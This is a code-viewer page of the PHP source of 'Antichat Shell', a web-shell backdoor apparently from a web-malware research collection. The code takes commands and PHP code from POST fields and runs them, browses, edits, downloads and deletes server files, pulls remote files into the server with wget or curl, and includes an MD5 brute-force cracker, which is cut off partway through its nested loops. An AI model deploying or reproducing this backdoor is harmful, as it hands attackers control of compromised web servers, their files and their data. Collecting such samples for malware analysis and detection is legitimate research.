PageRenderTime 67ms CodeModel.GetById 31ms RepoModel.GetById 1ms app.codeStats 0ms

/Backdoors/PHP/antichat.php

http://web-malware-collection.googlecode.com/
PHP | 872 lines | 815 code | 46 blank | 11 comment | 195 complexity | e8c85ddc50bea4c58102c6c53e113d5d MD5 | raw file
    

  1. <?php

    2. 

  2. session_start();

    3. 

  3. set_magic_quotes_runtime(0);

    4. 

  4. set_time_limit(0);

    5. 

  5. error_reporting(0);

    6. 

  6. 

    7. 

  7. $self = $HTTP_SERVER_VARS['PHP_SELF'];

    8. 

  8. if(get_magic_quotes_gpc()) {

    9. 

  9. 	foreach ($_POST as $k => $v) {

    10. 

  10. 		$_POST[$k] = stripslashes($v);

    11. 

  11. 	}

    12. 

  12. }

    13. 

  13. 

    14. 

  14. @ini_set('max_execution_time',0);

    15. 

  15. if(@ini_get('safe_mode') == '1') {

    16. 

  16. 	$safe_mode="ON";

    17. 

  17. } else {

    18. 

  18. 	$safe_mode="OFF";

    19. 

  19. }

    20. 

  20. if(@ini_get('disable_functions') != "") {

    21. 

  21. 	$disfunc = ini_get('disable_functions');

    22. 

  22. } else {

    23. 

  23. 	$disfunc = 0;

    24. 

  24. }

    25. 

  25. if(strtoupper(substr(PHP_OS, 0, 3))==='WIN') {

    26. 

  26. 	$os = 1;

    27. 

  27. } else {

    28. 

  28. 	$os = 0;

    29. 

  29. }

    30. 

  30. 

    31. 

  31. $action = $_POST['action'];

    32. 

  32. $file = $_POST['file'];

    33. 

  33. $dir = $_POST['dir'];

    34. 

  34. $content = '';

    35. 

  35. $stdata = '';

    36. 

  36. $style = '<STYLE>

    37. 

  37. BODY{background-color: #2b2f34;color: #9acd32;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #31333b;scrollbar-shadow-color: #363940;scrollbar-highlight-color: #363940;scrollbar-3dlight-color: #363940;scrollbar-darkshadow-color: #363940;scrollbar-track-color: #363940;scrollbar-arrow-color: #363940;}

    38. 

  38. input{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}

    39. 

  39. select{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}

    40. 

  40. textarea{background-color: #363940;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}

    41. 

  41. a:link{color: #91cd32;text-decoration: none;font-size: 8pt;}

    42. 

  42. a:visited{color: #91cd32;text-decoration: none;font-size: 8pt;}

    43. 

  43. a:hover, a:active{background-color: #A8A8AD;color: #E7E7EB;text-decoration: none;font-size: 8pt;}

    44. 

  44. td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}</style>';

    45. 

  45. $header = '<html><head><title>'.getenv("HTTP_HOST").' - Antichat Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">'.$style.'</head><body leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>';

    46. 

  46. $footer = '</body></html>';

    47. 

  47. $lang = array(

    48. 

  48. 	'filext'=>'File already exists.',

    49. 

  49. 	'uploadok'=>'File was successfully uploaded.',

    50. 

  50. 	'dircrt'=>'Dir is created.',

    51. 

  51. 	'dontlist'=>'Listing dir permission denide.',

    52. 

  52. 	'dircrterr'=>'Don\'t create dir.',

    53. 

  53. 	'dirnf'=>'Dir not found.',

    54. 

  54. 	'filenf'=>'File not found.',

    55. 

  55. 	'dontwrdir'=>'Only read current dir.',

    56. 

  56. 	'empty'=>'Directory not empty or access denide.',

    57. 

  57. 	'deletefileok'=>'File deleted.',

    58. 

  58. 	'deletedirok'=>'Dir deleted.',

    59. 

  59. 	'isdontfile'=>'Selected file this is link.',

    60. 

  60. 	'cantrfile'=>'Cant read file, permission denide.',

    61. 

  61. 	'onlyracc'=>'Don\'t edit, only read access.',

    62. 

  62. 	'workdir'=>'Work directory: ',

    63. 

  63. 	'fullacc'=>'Full access.',

    64. 

  64. 	'fullaccdir'=>'Full accees you are can create and delete dir.',

    65. 

  65. 	'thisnodir'=>'This is don\'t dir.',

    66. 

  66. 	'allfuncsh'=>'All function for work shell was disabled.'

    67. 

  67. );

    68. 

  68. 

    69. 

  69. $act = array('viewer','editor','upload','shell','phpeval','download','delete','deletedir','brute','mysql');//here added new actions

    70. 

  70. 

    71. 

  71. function test_file($file){

    72. 

  72. if(!file_exists($file))$err="1";

    73. 

  73. 	elseif(!is_file($file)) $err="2";

    74. 

  74. 	elseif(!is_readable($file))$err="3";

    75. 

  75. 	elseif(!is_writable($file)) {

    76. 

  76. 		$err="4";

    77. 

  77. 	} else {

    78. 

  78. 		$err="5";

    79. 

  79. 	}

    80. 

  80. return $err;

    81. 

  81. }

    82. 

  82. 

    83. 

  83. function test_dir($dir){

    84. 

  84. if(!file_exists($dir))$err="1";

    85. 

  85. 	elseif(!is_dir($dir)) $err="2";

    86. 

  86. 	elseif(!is_readable($dir))$err="3";

    87. 

  87. 	elseif(!is_writable($dir)) {

    88. 

  88. 	$err="4";

    89. 

  89. 	} else {

    90. 

  90. 	$err="5";

    91. 

  91. 	}

    92. 

  92. return $err;

    93. 

  93. }

    94. 

  94. 

    95. 

  95. function perms($file) {

    96. 

  96.   $perms = fileperms($file);

    97. 

  97.   if (($perms & 0xC000) == 0xC000) {

    98. 

  98.   	$info = 's';

    99. 

  99.    }

    100. 

  100.   elseif(($perms & 0xA000) == 0xA000) {

    101. 

  101.   	$info = 'l';

    102. 

  102.   	}

    103. 

  103.   elseif(($perms & 0x8000) == 0x8000) {

    104. 

  104.   	$info = '-';

    105. 

  105.   	}

    106. 

  106.   elseif(($perms & 0x6000) == 0x6000) {

    107. 

  107.   	$info = 'b';

    108. 

  108.   	}

    109. 

  109.   elseif(($perms & 0x4000) == 0x4000) {

    110. 

  110.   	$info = 'd';

    111. 

  111.   	}

    112. 

  112.   elseif(($perms & 0x2000) == 0x2000) {

    113. 

  113.   	$info = 'c';

    114. 

  114.   	}

    115. 

  115.   elseif(($perms & 0x1000) == 0x1000) {

    116. 

  116.   	$info = 'p';

    117. 

  117.   } else {

    118. 

  118.   	$info = 'u';

    119. 

  119.   }

    120. 

  120.   $info .= (($perms & 0x0100) ? 'r' : '-');

    121. 

  121.   $info .= (($perms & 0x0080) ? 'w' : '-');

    122. 

  122.   $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));

    123. 

  123.   $info .= (($perms & 0x0020) ? 'r' : '-');

    124. 

  124.   $info .= (($perms & 0x0010) ? 'w' : '-');

    125. 

  125.   $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));

    126. 

  126.   $info .= (($perms & 0x0004) ? 'r' : '-');

    127. 

  127.   $info .= (($perms & 0x0002) ? 'w' : '-');

    128. 

  128.   $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));

    129. 

  129.   return $info;}

    130. 

  130. 

    131. 

  131. function view_size($size){

    132. 

  132.  if($size >= 1073741824) {

    133. 

  133.  	$size = @round($size / 1073741824 * 100) / 100 . " GB";

    134. 

  134.  }

    135. 

  135.  elseif($size >= 1048576) {

    136. 

  136.  	$size = @round($size / 1048576 * 100) / 100 . " MB";

    137. 

  137.  }

    138. 

  138.  elseif($size >= 1024) {

    139. 

  139.  	$size = @round($size / 1024 * 100) / 100 . " KB";

    140. 

  140.  } else {

    141. 

  141.  	$size = $size . " B";

    142. 

  142.  }

    143. 

  143. return $size;}

    144. 

  144. 

    145. 

  145. if(isset($action)) {

    146. 

  146. 	if(!in_array($action,$act)) {

    147. 

  147. 		$action = "viewer";

    148. 

  148. 	} else {

    149. 

  149. 		$action = $action;

    150. 

  150. 	}

    151. 

  151. } else {

    152. 

  152. 	$action = "viewer";

    153. 

  153. }

    154. 

  154. 

    155. 

  155. if(isset($dir)){

    156. 

  156.   $ts['test'] = test_dir($dir);

    157. 

  157.   switch($ts['test']){

    158. 

  158.     case 1:

    159. 

  159.     	$stdata.=$lang['dirnf'];

    160. 

  160.     break;

    161. 

  161.     case 2:

    162. 

  162.     	$stdata.=$lang['thisnodir'];

    163. 

  163.     break;

    164. 

  164.     case 3:

    165. 

  165.     	$stdata.=$lang['dontlist'];

    166. 

  166.     break;

    167. 

  167.     case 4:

    168. 

  168.     	$stdata.=$lang['dontwrdir'];

    169. 

  169.     	$dir=chdir($GLOBALS['dir']);

    170. 

  170.     break;

    171. 

  171.     case 5:

    172. 

  172.     	$stdata.=$lang['fullaccdir'];

    173. 

  173.     	$dir=chdir($GLOBALS['dir']);

    174. 

  174.     break;

    175. 

  175.   }

    176. 

  176. } else {

    177. 

  177. 	$dir=@chdir($dir);

    178. 

  178. }

    179. 

  179. 

    180. 

  180. $dir = getcwd()."/";

    181. 

  181. $dir = str_replace("\\","/",$dir);

    182. 

  182. 

    183. 

  183. if(isset($file)){

    184. 

  184.     $ts['test1'] = test_file($file);

    185. 

  185.   switch ($ts['test1']){

    186. 

  186.     case 1:

    187. 

  187.     	$stdata .=$lang['filenf'];

    188. 

  188.     break;

    189. 

  189. 	case 2:

    190. 

  190. 		$stdata .=$lang['isdontfile'];

    191. 

  191. 	break;

    192. 

  192. 	case 3:

    193. 

  193. 		$stdata .=$lang['cantrfile'];

    194. 

  194. 	break;

    195. 

  195. 	case 4:

    196. 

  196. 		$stdata .=$lang['onlyracc'];

    197. 

  197. 		$file = $file;

    198. 

  198. 	break;

    199. 

  199. 	case 5:

    200. 

  200. 		$stdata .=$lang['fullacc'];

    201. 

  201. 		$file = $file;

    202. 

  202. 	break;

    203. 

  203.   }

    204. 

  204. }

    205. 

  205. 

    206. 

  206. function shell($cmd) {

    207. 

  207.   global $lang;

    208. 

  208. 

    209. 

  209. $ret = '';

    210. 

  210. if(!empty($cmd)) {

    211. 

  211.   if(function_exists('exec')){

    212. 

  212.   	@exec($cmd,$ret);$ret = join("\n",$ret);

    213. 

  213.   } elseif(function_exists('shell_exec')) {

    214. 

  214.   	$ret = @shell_exec($cmd);

    215. 

  215.   } elseif(function_exists('system')) {

    216. 

  216.   	@ob_start()

    217. 

  217.   	;@system($cmd);

    218. 

  218.   	$ret = @ob_get_contents();

    219. 

  219.   	@ob_end_clean();

    220. 

  220.   } elseif(function_exists('passthru')) {

    221. 

  221.   	@ob_start();

    222. 

  222.   	@passthru($cmd);

    223. 

  223.   	$ret = @ob_get_contents();

    224. 

  224.   	@ob_end_clean();

    225. 

  225.   } elseif(@is_resource($f = @popen($cmd,"r"))) {

    226. 

  226.   	$ret = "";

    227. 

  227.   		while(!@feof($f)) {

    228. 

  228.   			$ret .= @fread($f,1024);

    229. 

  229.   		}

    230. 

  230.   	@pclose($f);

    231. 

  231.   } else {

    232. 

  232.   	$ret=$lang['allfuncsh'];

    233. 

  233.   }

    234. 

  234. }

    235. 

  235. return $ret;

    236. 

  236. }

    237. 

  237. 

    238. 

  238. function createdir($dir) {

    239. 

  239. 	mkdir($dir);

    240. 

  240. }

    241. 

  241. 

    242. 

  242. //delete file

    243. 

  243. if($action == 'delete') {

    244. 

  244. 	if(unlink($file))

    245. 

  245. 	$content.=$lang['deletefileok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";

    246. 

  246. }

    247. 

  247. 

    248. 

  248. //delete dir

    249. 

  249. if($action == 'deletedir') {

    250. 

  250. 	if(!rmdir($file)) {

    251. 

  251. 		$content .=$lang['empty']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";

    252. 

  252. 	} else {

    253. 

  253. 		$content .=$lang['deletedirok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";

    254. 

  254.     }

    255. 

  255. }

    256. 

  256. 

    257. 

  257. //shell

    258. 

  258. if($action == 'shell'){

    259. 

  259. 	$content .="<form method=\"POST\">

    260. 

  260. 	<input type=\"hidden\" name=\"action\" value=\"shell\">

    261. 

  261. 	<textarea name=\"command\" rows=\"5\" cols=\"150\">".@$_POST['command']."</textarea><br>

    262. 

  262. 	<textarea readonly rows=\"15\" cols=\"150\">".convert_cyr_string(htmlspecialchars(shell($_POST['command'])),"d","w")."</textarea><br>

    263. 

  263. 	<input type=\"submit\" value=\"execute\"></form>";

    264. 

  264. }

    265. 

  265. //editor

    266. 

  266. if($action == 'editor'){

    267. 

  267.   $stdata.="<tr><td><form method=POST>

    268. 

  268.   <input type=\"hidden\" name=\"action\" value=\"editor\">

    269. 

  269.   <input type=\"hidden\" name=\"dir\" value=\"".$dir."\">

    270. 

  270.   Open file:<input type=text name=file value=\"".($file=="" ? $file=$dir : $file=$file)."\" size=50><input type=submit value=\">>\"></form>";

    271. 

  271.   function writef($file,$data){

    272. 

  272.   $fp = fopen($file, "w+");

    273. 

  273.   fwrite($fp, $data);

    274. 

  274.   fclose($fp);

    275. 

  275. }

    276. 

  276. 

    277. 

  277. function readf($file){

    278. 

  278.   clearstatcache();

    279. 

  279.   $f = fopen($file, "r");

    280. 

  280.   $contents = fread($f,filesize($file));

    281. 

  281.   fclose($f);

    282. 

  282.   return htmlspecialchars($contents);

    283. 

  283. }

    284. 

  284. 

    285. 

  285. if(@$_POST['save'])

    286. 

  286. 	writef($file, $_POST['data']);

    287. 

  287. if(@$_POST['create'])

    288. 

  288. 	writef($file,"");

    289. 

  289. $test = test_file($file);

    290. 

  290. if($test ==1 ){

    291. 

  291. 	$content.="<form method=\"POST\">

    292. 

  292. 	<input type=\"hidden\" name=\"action\" value=\"editor\">

    293. 

  293. 	File name:<input type=\"text\" name=\"file\" value=\"".$file."\" size=\"50\"><br>

    294. 

  294. 	<input type=\"submit\" name=\"create\" value=\"Create new file with this name?\">

    295. 

  295. 	<input type=\"reset\" value=\"No\"></form>";

    296. 

  296. }

    297. 

  297. 

    298. 

  298. if($test > 2){

    299. 

  299. 	$content.="<form method=\"POST\">

    300. 

  300. 	<input type=\"hidden\" name=\"action\" value=\"editor\">

    301. 

  301. 	<input type=\"hidden\" name=\"file\" value=\"".$file."\">

    302. 

  302. 	<textarea name=\"data\" rows=\"30\" cols=\"180\">".@readf($file)."</textarea><br>

    303. 

  303. 	<input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";

    304. 

  304. }

    305. 

  305. }

    306. 

  306. 

    307. 

  307. //viewer

    308. 

  308. if($action == 'viewer'){

    309. 

  309. 	$content.="<table cellSpacing=0 border=2 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";

    310. 

  310. 	$content.="<tr><td><form method=POST><br>Open directory:  <input type=text name=dir value=\"".$dir."\" size=50><input type=submit value=\">>\"></form>";

    311. 

  311.   		if (is_dir($dir)) {

    312. 

  312.     		if (@$dh = opendir($dir)) {

    313. 

  313.         		while (($file = readdir($dh)) !== false) {

    314. 

  314. 		  			if(filetype($dir . $file) == 'dir')

    315. 

  315. 		  				$dire[] = $file;

    316. 

  316. 		  			if(filetype($dir . $file) == 'file')

    317. 

  317. 		  				$files[] = $file;

    318. 

  318. 				}

    319. 

  319. 		closedir($dh);

    320. 

  320. 		@sort($dire);

    321. 

  321. 		@sort($files);

    322. 

  322. 		if ($GLOBALS['os'] == 1) {

    323. 

  323. 		   $content.="<tr><td>Select drive:";

    324. 

  324. 		   for ($j = ord('C'); $j <= ord('Z'); $j++)

    325. 

  325. 		   if (@$dh = opendir(chr($j).":/"))

    326. 

  326. 		   $content .='<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($j).':/\'; document.reqs.submit();"> '.chr($j).'<a/>';

    327. 

  327. 		   $content .="</td></tr>";

    328. 

  328. 		 }

    329. 

  329. 		$content .="<tr><td>Name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";

    330. 

  330. 		for($i = 0;$i < count($dire);$i++) {

    331. 

  331. 		  $link = $dir.$dire[$i];

    332. 

  332. 		  $content .='<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td>

    333. 

  333. <td>dir</td><td></td><td>'.perms($link).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';

    334. 

  334. 		}

    335. 

  335. 		for($i = 0;$i < count($files);$i++) {

    336. 

  336. 		  $linkfile = $dir.$files[$i];

    337. 

  337. 		  $content .='<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();">'.$files[$i].'</a><br></td>

    338. 

  338. <td>file</td><td>'.view_size(filesize($linkfile)).'</td><td>'.perms($linkfile).'</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Download">D</a>

    339. 

  339. <a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Edit">E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';

    340. 

  340. 		}

    341. 

  341. 		$content .="</table>";

    342. 

  342. 		}

    343. 

  343. 	}

    344. 

  344. }

    345. 

  345. //downloader

    346. 

  346. if($action == 'download') {

    347. 

  347. header('Content-Length:'.filesize($file).'');

    348. 

  348. header('Content-Type: application/octet-stream');

    349. 

  349. header('Content-Disposition: attachment; filename="'.$file.'"');

    350. 

  350. readfile($file);

    351. 

  351. }

    352. 

  352. //phpeval

    353. 

  353. if($action == 'phpeval') {

    354. 

  354. 	$content.="<form method=\"POST\">

    355. 

  355. 	<input type=\"hidden\" name=\"action\" value=\"phpeval\">

    356. 

  356. 	<input type=\"hidden\" name=\"dir\" value=\"".$dir."\">

    357. 

  357. 	&lt;?php<br>

    358. 

  358. 	<textarea name=\"phpev\" rows=\"5\" cols=\"150\">".@$_POST['phpev']."</textarea><br>

    359. 

  359. 	?><br>

    360. 

  360. 	<input type=\"submit\" value=\"execute\"></form>";

    361. 

  361. 	if(isset($_POST['phpev']))

    362. 

  362. 		$content .=eval($_POST['phpev']);

    363. 

  363. }

    364. 

  364. //upload

    365. 

  365. if($action == 'upload') {

    366. 

  366.   if(isset($_POST['dirupload'])) {

    367. 

  367.   		$dirupload = $_POST['dirupload'];

    368. 

  368.   } else {

    369. 

  369.   		$dirupload = $dir;

    370. 

  370.   }

    371. 

  371.   $form_win = "<table><form method=POST enctype=multipart/form-data>

    372. 

  372.   <tr><td><input type=\"hidden\" name=\"action\" value=\"upload\">

    373. 

  373.   Upload to dir: <input type=text name=dirupload value=\"".$dirupload."\" size=50><tr><td>New file name: <input type=text name=filename></td></tr><tr><td><input type=file name=file> <input type=submit name=uploadloc value='Upload local file'></td></tr>";

    374. 

  374.   if($os == 1)

    375. 

  375.   $content.=$form_win;

    376. 

  376.   if($os == 0){

    377. 

  377.     $content .=$form_win;

    378. 

  378. 	$content .='<tr><td><select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>File addres:<input type=text name=urldown>

    379. 

  379. 	<input type=submit name=upload value=Upload></form></td></tr>';

    380. 

  380. 	}

    381. 

  381. 

    382. 

  382. if(isset($_POST['uploadloc'])) {

    383. 

  383. if(!isset($_POST['filename'])) {

    384. 

  384. 	$uploadfile = $dirupload.basename($_FILES['file']['name']);

    385. 

  385. } else {

    386. 

  386. 	$uploadfile = $dirupload."/".$_POST['filename'];

    387. 

  387. }

    388. 

  388. 

    389. 

  389. if(test_dir($dirupload) == 1 && test_dir($dir) != 3 && test_dir($dir) != 4) {

    390. 

  390. 	createdir($dirupload);

    391. 

  391. }

    392. 

  392. if(file_exists($uploadfile))$content .= $lang['filext'];

    393. 

  393. 	elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))

    394. 

  394. $content .=$lang['uploadok'];

    395. 

  395. }

    396. 

  396. 

    397. 

  397. if(isset($_POST['upload'])){

    398. 

  398.     if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))

    399. 

  399. 	switch($_POST['with'])

    400. 

  400. 	{

    401. 

  401. 	  case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break;

    402. 

  402.  	  case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break;

    403. 

  403.  	  case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;

    404. 

  404.  	  case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;

    405. 

  405.  	  case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break;

    406. 

  406.  	  case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break;

    407. 

  407. }}}

    408. 

  408. //Brute

    409. 

  409. if($action == 'brute'){

    410. 

  410. 

    411. 

  411. function Brute() {

    412. 

  412.  global $action,$pass_de,$chars_de,$dat,$date;

    413. 

  413. ignore_user_abort(1);

    414. 

  414. }

    415. 

  415. 

    416. 

  416. if($chars_de == "") {

    417. 

  417. 	$chars_de ="";

    418. 

  418. }

    419. 

  419. $content ="<table><form action='$php_self' method=post name=md5><tr><td><b>Decrypte MD5</b>

    420. 

  420. <tr><td>&nbsp;MD5 ???:<b>".$pass_de."</b></td>

    421. 

  421. <input type='hidden' name='action' value='$action'>

    422. 

  422. <tr><td>&nbsp;<textarea  class='inputbox' name='chars_de' cols='50' rows='5'>".$chars_de."</textarea></td>

    423. 

  423. <td><b>??????? ????:</b><br><font color=red><b><u>ENG:</u></b></font>

    424. 

  424. <a class=menu href=javascript:ins('abcdefghijklmnopqrstuvwxyz')>[a-z]</a>

    425. 

  425. <a class=menu href=javascript:ins('ABCDEFGHIJKLMNOPQRSTUVWXYZ')>[A-Z]</a><br>

    426. 

  426. <a class=menu href=javascript:ins('0123456789')>[0-9]</a>

    427. 

  427. <a class=menu href=javascript:ins('~`\!@#$%^&*()-_+=|/?&gt;<[]{}:?.,&quot;')>[???????]</a><br><br>

    428. 

  428. <font color=red><b><u>RUS:</u></b></font>

    429. 

  429. <a class=menu href=javascript:ins('?????????????????????????????????')>[?-?]</a>

    430. 

  430. <a class=menu href=javascript:ins('?????????????????????????????????')>[?-?]</a>

    431. 

  431. <br></br><input type=reset value=???????? class=button1></td></tr>

    432. 

  432. <tr><td>&nbsp;<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''>

    433. 

  433. </td><td><input type='submit' value='Decrypt MD5' class=button1></td></tr></form>

    434. 

  434. <script>

    435. 

  435. function ins(text){

    436. 

  436. document.md5.chars_de.value+=text;

    437. 

  437. document.md5.chars_de.focus();}

    438. 

  438. </script>";

    439. 

  439. 

    440. 

  440. if($_POST['pass_de']) {

    441. 

  441. $pass_de = htmlspecialchars($pass_de);

    442. 

  442. $pass_de = stripslashes($pass_de);

    443. 

  443. $dat = date("H:i:s");

    444. 

  444. $date = date("d:m:Y");

    445. 

  445. }

    446. 

  446. {

    447. 

  447. crack_md5();

    448. 

  448. }

    449. 

  449. }

    450. 

  450. function crack_md5() {

    451. 

  451. global $chars_de;

    452. 

  452. $chars = $_POST[chars];

    453. 

  453. ignore_user_abort(1);

    454. 

  454. $chars_de = str_replace("<",chr(60),$chars_de);

    455. 

  455. $chars_de = str_replace(">",chr(62),$chars_de);

    456. 

  456. $c = strlen($chars_de);

    457. 

  457. for($next = 0; $next <= 31; $next++) {

    458. 

  458. 	for($i1 = 0; $i1 <= $c; $i1++) {

    459. 

  459. 		$word[1] = $chars_de{$i1};

    460. 

  460. 	for($i2 = 0; $i2 <= $c; $i2++) {

    461. 

  461. 		$word[2] = $chars_de{$i2};

    462. 

  462. 	if($next <= 2) {

    463. 

  463. 		result(implode($word));

    464. 

  464. 	} else {

    465. 

  465. 		for ($i3 = 0; $i3 <= $c; $i3++) {

    466. 

  466. 		$word[3] = $chars_de{$i3};

    467. 

  467. 	if ($next <= 3) {

    468. 

  468. 		result(implode($word));

    469. 

  469. 	}else {

    470. 

  470. 	for($i4 = 0; $i4 <= $c; $i4++) {

    471. 

  471. 		$word[4] = $chars_de{$i4};

    472. 

  472. 	if($next <= 4) {

    473. 

  473. 		result(implode($word));

    474. 

  474. 	}else {

    475. 

  475. 	for ($i5 = 0; $i5 <= $c; $i5++) {

    476. 

  476. 		$word[5] = $chars_de{$i5};

    477. 

  477. 	if ($next <= 5) {

    478. 

  478. 		result(implode($word));

    479. 

  479. 	}else {

    480. 

  480. 	for ($i6 = 0; $i6 <= $c; $i6++) {

    481. 

  481. 		$word[6] = $chars_de{$i6};

    482. 

  482. if ($next <= 6) {

    483. 

  483. result(implode($word));

    484. 

  484. }else {

    485. 

  485. for ($i7 = 0; $i7 <= $c; $i7++) {

    486. 

  486. $word[7] = $chars_de{$i7};

    487. 

  487. if ($next <= 7) {

    488. 

  488. result(implode($word));

    489. 

  489. }else {

    490. 

  490. for ($i8 = 0; $i8 <= $c; $i8++) {

    491. 

  491. $word[8] = $chars_de{$i8};

    492. 

  492. if ($next <= 8) {

    493. 

  493. result(implode($word));

    494. 

  494. }else {

    495. 

  495. for ($i9 = 0; $i9 <= $c; $i9++) {

    496. 

  496. $word[9] = $chars_de{$i9};

    497. 

  497. if ($next <= 9) {

    498. 

  498. result(implode($word));

    499. 

  499. }else {

    500. 

  500. for ($i10 = 0; $i10 <= $c; $i10++) {

    501. 

  501. $word[10] = $chars_de{$i10};

    502. 

  502. if ($next <= 10) {

    503. 

  503. result(implode($word));

    504. 

  504. }else {

    505. 

  505. for ($i11 = 0; $i11 <= $c; $i11++) {

    506. 

  506. $word[11] = $chars_de{$i11};

    507. 

  507. if ($next <= 11) {

    508. 

  508. result(implode($word));

    509. 

  509. }else {

    510. 

  510. for ($i12 = 0; $i12 <= $c; $i12++) {

    511. 

  511. $word[12] = $chars_de{$i12};

    512. 

  512. if ($next <= 12) {

    513. 

  513. result(implode($word));

    514. 

  514. }else {

    515. 

  515. for ($i13 = 0; $i13 <= $c; $i13++) {

    516. 

  516. $word[13] = $chars_de{$i13};

    517. 

  517. if ($next <= 13) {

    518. 

  518. result(implode($word));

    519. 

  519. }else {

    520. 

  520. for ($i14 = 0; $i14 <= $c; $i14++) {

    521. 

  521. $word[14] = $chars_de{$i14};

    522. 

  522. if ($next <= 14) {

    523. 

  523. result(implode($word));

    524. 

  524. }else {

    525. 

  525. for ($i15 = 0; $i15 <= $c; $i15++) {

    526. 

  526. $word[15] = $chars_de{$i15};

    527. 

  527. if ($next <= 15) {

    528. 

  528. result(implode($word));

    529. 

  529. }else {

    530. 

  530. for ($i16 = 0; $i16 <= $c; $i16++) {

    531. 

  531. $word[16] = $chars_de{$i16};

    532. 

  532. if ($next <= 16) {

    533. 

  533. result(implode($word));

    534. 

  534. }else {

    535. 

  535. for ($i17 = 0; $i17 <= $c; $i17++) {

    536. 

  536. $word[17] = $chars_de{$i17};

    537. 

  537. if ($next <= 17) {

    538. 

  538. result(implode($word));

    539. 

  539. }else {

    540. 

  540. for ($i18 = 0; $i18 <= $c; $i18++) {

    541. 

  541. $word[18] = $chars_de{$i18};

    542. 

  542. if ($next <= 18) {

    543. 

  543. result(implode($word));

    544. 

  544. }else {

    545. 

  545. for ($i19 = 0; $i19 <= $c; $i19++) {

    546. 

  546. $word[19] = $chars_de{$i19};

    547. 

  547. if ($next <= 19) {

    548. 

  548. result(implode($word));

    549. 

  549. }else {

    550. 

  550. for ($i20 = 0; $i20 <= $c; $i20++) {

    551. 

  551. $word[20] = $chars_de{$i20};

    552. 

  552. if ($next <= 20) {

    553. 

  553. result(implode($word));

    554. 

  554. }else {

    555. 

  555. for ($i21 = 0; $i21 <= $c; $i21++) {

    556. 

  556. $word[21] = $chars_de{$i21};

    557. 

  557. if ($next <= 21) {

    558. 

  558. result(implode($word));

    559. 

  559. }else {

    560. 

  560. for ($i22 = 0; $i22 <= $c; $i22++) {

    561. 

  561. $word[22] = $chars_de{$i22};

    562. 

  562. if ($next <= 22) {

    563. 

  563. result(implode($word));

    564. 

  564. }else {

    565. 

  565. for ($i23 = 0; $i23 <= $c; $i23++) {

    566. 

  566. $word[23] = $chars_de{$i23};

    567. 

  567. if ($next <= 23) {

    568. 

  568. result(implode($word));

    569. 

  569. }else {

    570. 

  570. for ($i24 = 0; $i24 <= $c; $i24++) {

    571. 

  571. $word[24] = $chars_de{$i24};

    572. 

  572. if ($next <= 24) {

    573. 

  573. result(implode($word));

    574. 

  574. }else {

    575. 

  575. for ($i25 = 0; $i25 <= $c; $i25++) {

    576. 

  576. $word[25] = $chars_de{$i25};

    577. 

  577. if ($next <= 25) {

    578. 

  578. result(implode($word));

    579. 

  579. }else {

    580. 

  580. for ($i26 = 0; $i26 <= $c; $i26++) {

    581. 

  581. $word[26] = $chars_de{$i26};

    582. 

  582. if ($next <= 26) {

    583. 

  583. result(implode($word));

    584. 

  584. }else {

    585. 
